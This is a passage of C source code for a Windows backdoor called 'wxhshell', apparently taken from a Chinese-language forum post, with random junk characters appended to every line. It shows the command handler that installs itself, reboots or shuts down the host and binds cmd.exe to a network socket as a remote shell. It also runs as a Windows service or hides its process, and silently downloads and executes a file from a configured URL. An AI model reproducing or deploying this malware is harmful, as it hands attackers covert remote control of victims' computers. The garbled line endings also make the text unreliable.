(JT 273  
    switch(cmd[0]) { Pk`3sfz  
  CTQJ=R"  
  // 帮助 ~ L"?C  
  case '?': {  =tc!"{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); )< p ~  
    break;  ^]?ju L  
  } R|]n;*y  
  // 安装 |Zdl[|kX  
  case 'i': { }qBmt>#  
    if(Install()) 5I/lFoy7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); fN6n2*wr(  
    else "Ve9\$_s  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ggy9euWV  
    break; G|z%T`!U1;  
    } #@P0i^pFTB  
  // 卸载 f8)fm2^09  
  case 'r': { BR:Mcc  
    if(Uninstall()) eaDG7+iS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D=}\]Krmay  
    else #j)"#1IE2W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); YVPLHwh/5  
    break; 6K^O.VoV^J  
    } wQ81wfr1:  
  // 显示 wxhshell 所在路径 No*[@D]g  
  case 'p': { H`rd bE  
    char svExeFile[MAX_PATH]; %RzCJxT  
    strcpy(svExeFile,"\n\r"); EKEJ9Y+47H  
      strcat(svExeFile,ExeFile); 'i4L.&  
        send(wsh,svExeFile,strlen(svExeFile),0); cVDcda|PE  
    break; :a9   
    } tN z(s)  
  // 重启 Sv!JA#Ag  
  case 'b': { ==EB\>g|  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 4u#TKr.  
    if(Boot(REBOOT)) [gj>ey8T  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); @]Lu"h#u=  
    else { LX#gc.c  
    closesocket(wsh); 8k;il54#  
    ExitThread(0); #gXxBM  
    } iWIq~t*,H]  
    break; }l Gui>/D  
    } Pk;YM}  
  // 关机 \jx3Fs:Q  
  case 'd': { mp z3o\n  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); e(Rbq8D  
    if(Boot(SHUTDOWN)) %a!gN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %Rk DR  
    else { :TkMS8  
    closesocket(wsh); e9>~mtx  
    ExitThread(0); `UT UrM  
    } e0hY   
    break; ^,aI2vC  
    } n/S+0uT  
  // 获取shell 8#/y`ul  
  case 's': { G=|~SYz  
    CmdShell(wsh); oXU b_/  
    closesocket(wsh); L+}<gQJ(  
    ExitThread(0); LL==2KNUo  
    break; /*MioaQB}p  
  } ]'pL*&"X  
  // 退出 M~~)tJYsu  
  case 'x': { t(jE9t|2e6  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w"C,oo3  
    CloseIt(wsh); M{4XNE]m  
    break; l z-I[*bA  
    } nu(7Y YCM$  
  // 离开 o=Y'ns^a(  
  case 'q': { ]J@-,FFC  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); D"%>  
    closesocket(wsh); I5 qrHBJ >  
    WSACleanup(); l]OzE-*$b  
    exit(1); c=X+uO-  
    break; mhB2l/  
        } ij;P5OA  
  } 8|zOgn{  
  } _n_()at)  
;a| ~YM2I  
  // 提示信息 ck\W'Y*Q7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); iu3L9UfL[  
}  {8h[Bd  
  } GP^.h kVs  
'b y+hXk  
  return; 4u+0 )<  
} uqLP$At  
dCe LW  
// shell模块句柄 Nd&UWk^  
int CmdShell(SOCKET sock) 9Vo*AK'&U  
{ 8:> V'j  
STARTUPINFO si; X-#&]^d  
ZeroMemory(&si,sizeof(si)); V1~@   
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; DTSf[zP/  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #'0Yzh]qc  
PROCESS_INFORMATION ProcessInfo; n 4y]h  
char cmdline[]="cmd"; }1W@  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [c;#>UQMf  
  return 0; is~2{:  
} w ?*eBLJ(G  
YV!hlYOBi  
// 自身启动模式 2;0eW&e   
int StartFromService(void) N$x&k$w R  
{ 6?;z\ AP&  
typedef struct 9g>)7Ne  
{ s^K2,D]P  
  DWORD ExitStatus; hidQOh  
  DWORD PebBaseAddress; zo8D"  
  DWORD AffinityMask; 1GqSY|FSGp  
  DWORD BasePriority; Ka_;~LS>(  
  ULONG UniqueProcessId; Fk^N7EJ:$  
  ULONG InheritedFromUniqueProcessId; *UJ4\  
}   PROCESS_BASIC_INFORMATION; }>d  
]!&$&t8.  
PROCNTQSIP NtQueryInformationProcess; Y~e)3e  
<fM}Kk  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; Fm,` ]CO  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; `j(._`8%a  
/R&h#;l  
  HANDLE             hProcess; }YVF fi~  
  PROCESS_BASIC_INFORMATION pbi; S0Q LM)  
E2d'P  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8'%m!  
  if(NULL == hInst ) return 0; t%%()!|)j  
Q;g7<w17  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IWq#W(yM  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y.c6r> }  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); n:P:im?,y*  
h<TZJCt  
  if (!NtQueryInformationProcess) return 0; QS5t~rb  
E6Z kO/  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  tH44\~  
  if(!hProcess) return 0; a4*976~![  
"ayV8{m^3  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; e6Y>Bk   
rM"27ud[`_  
  CloseHandle(hProcess); /Pkz3(1  
`Y5LAt:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 5l 3PAG  
if(hProcess==NULL) return 0; *LU/3H|}  
9$HBKcO  
HMODULE hMod; >%om[]0E  
char procName[255]; RYjK4xT?Y/  
unsigned long cbNeeded; tP7<WGHd/  
oV0T   
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); #-<Go'yF  
|w}j!}u  
  CloseHandle(hProcess); CV.|~K0O  
@$ Zh^+x!  
if(strstr(procName,"services")) return 1; // 以服务启动 lz~^*\ F  
Y~8 5Z0l  
  return 0; // 注册表启动 A*?PH`bY  
} rR-[CT  
,MNv}w@  
// 主模块 G rp{ .  
int StartWxhshell(LPSTR lpCmdLine) j<*7p:L7_>  
{ H3<tsK=:  
  SOCKET wsl; YM:sLeQ~c  
BOOL val=TRUE; R ~kO5jpW  
  int port=0; ( .cA'f?h  
  struct sockaddr_in door; peO@ZKmM  
jRU: un4  
  if(wscfg.ws_autoins) Install(); Rz g;GH  
$t):r@L  
port=atoi(lpCmdLine); LSou]{R  
p%>sc  
if(port<=0) port=wscfg.ws_port; L AasmQ  
OW4j!W  
  WSADATA data; Ne1Oz}  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WJh TU@'  
p{^:b6  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N7_eLhPt*8  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^EX"fRwNi  
  door.sin_family = AF_INET; kg]6q T;Y  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w Wb>V&3  
  door.sin_port = htons(port); 6+IhI?lI=  
k i<X^^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ["EXSptB  
closesocket(wsl); |NZi2Bu  
return 1; ]u|v7}I4  
} >0{}tRm-P&  
0vm>*M*p  
  if(listen(wsl,2) == INVALID_SOCKET) { iAu/ t  
closesocket(wsl); 5;/n`Bd  
return 1; Z)`)9]*  
} +M0pmK!  
  Wxhshell(wsl); -<s Gu9  
  WSACleanup(); %;k Hnl  
"=Br&FN{|  
return 0; 4f[%Bb  
mZR3Hl$  
} +)sX8zb*gY  
E{|B&6$[}  
// 以NT服务方式启动 q,,  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0hemXvv1  
{ P }sr  
DWORD   status = 0; {JgY-#R?{(  
  DWORD   specificError = 0xfffffff; ^9[Q;=R  
xak)YOLRV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^<CVQ8R7  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; p@Y=6Bw  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 4b2d(x)0X  
  serviceStatus.dwWin32ExitCode     = 0; QhZg{v[d  
  serviceStatus.dwServiceSpecificExitCode = 0; 5daq}hsQs  
  serviceStatus.dwCheckPoint       = 0; 8z#Qp(he  
  serviceStatus.dwWaitHint       = 0; p\w<~ pN[  
x s{pGQ6Q  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); j<p.#jkT  
  if (hServiceStatusHandle==0) return; _? gCOr  
7)lEZJK&T  
status = GetLastError(); 8q[; 0  
  if (status!=NO_ERROR) R*[sO*h\k  
{ %\m"Yi]  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; yq%5h[M  
    serviceStatus.dwCheckPoint       = 0; *jlIV$r_  
    serviceStatus.dwWaitHint       = 0; *&NP?-E  
    serviceStatus.dwWin32ExitCode     = status; 1F@j?)(  
    serviceStatus.dwServiceSpecificExitCode = specificError; yajdRU  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5RP kAC  
    return; |./mPV r  
  } jc5[r;#  
6X \g7bg  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &W2*'$j"_  
  serviceStatus.dwCheckPoint       = 0; xa~]t<2  
  serviceStatus.dwWaitHint       = 0; I^y<W%Et  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); J usU5 e|  
} ax&?Z5%a  
OIcXelS:@k  
// 处理NT服务事件,比如:启动、停止 AFrJzh:V[  
VOID WINAPI NTServiceHandler(DWORD fdwControl) IzP,)!EE  
{ my?Ly(#  
switch(fdwControl) &`r/+B_W  
{ jf9+H!?^N  
case SERVICE_CONTROL_STOP: V(7,N(  
  serviceStatus.dwWin32ExitCode = 0; N,(!   
  serviceStatus.dwCurrentState = SERVICE_STOPPED; y\?ey'o  
  serviceStatus.dwCheckPoint   = 0; n:5M E*  
  serviceStatus.dwWaitHint     = 0; Rf:.'/<^  
  { U$OZkHA[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); $^]K611w9  
  } 2Rk}ovtD[  
  return; Z8|<%1Kge  
case SERVICE_CONTROL_PAUSE: Un6R)MVT  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; GJ ^c^`  
  break; SMN.AJ J  
case SERVICE_CONTROL_CONTINUE: @>2pY_  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; b($hp%+yJ  
  break; -%asHDQ{  
case SERVICE_CONTROL_INTERROGATE: xRh 22z  
  break; )Qbd/zd\U  
}; G@8)3 @  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8 x{Owj:Q  
} ">H*InF  
2\xw2VQ@P  
// 标准应用程序主函数 WZ CI*'  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) t-\+t<;  
{ *6Wiq5M>.  
B8@mL-Z-;  
// 获取操作系统版本 ^? fOccfQ{  
OsIsNt=GetOsVer(); nS+Rbhs  
GetModuleFileName(NULL,ExeFile,MAX_PATH); dOhSqx56  
SQodk:1)  
  // 从命令行安装 {;yO3];Hqw  
  if(strpbrk(lpCmdLine,"iI")) Install(); FQZ*i\G>>  
WTSh#L  
  // 下载执行文件 j}+3+ 8D  
if(wscfg.ws_downexe) { E>~R P^?Uz  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) IskL$Y ^  
  WinExec(wscfg.ws_filenam,SW_HIDE); &W<7!U:2m  
} 7)Toj  
n Bu!2c  
if(!OsIsNt) { vW+6_41ZM  
// 如果时win9x,隐藏进程并且设置为注册表启动 ":]X r!e  
HideProc(); ]Ry9{:  
StartWxhshell(lpCmdLine); LmrdVSs_  
} s(,S~  
else ^z?b6kTC  
  if(StartFromService()) z:QDWH  
  // 以服务方式启动 {[y6qQm  
  StartServiceCtrlDispatcher(DispatchTable); g4?2'G5m?  
else 1T^WMn:U  
  // 普通方式启动 |XyX%5p*  
  StartWxhshell(lpCmdLine); %>|FJ  
"[) G{VzT  
return 0; 2#wnJdr6E  
}
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只看该作者 1 发表于: 2006-10-10
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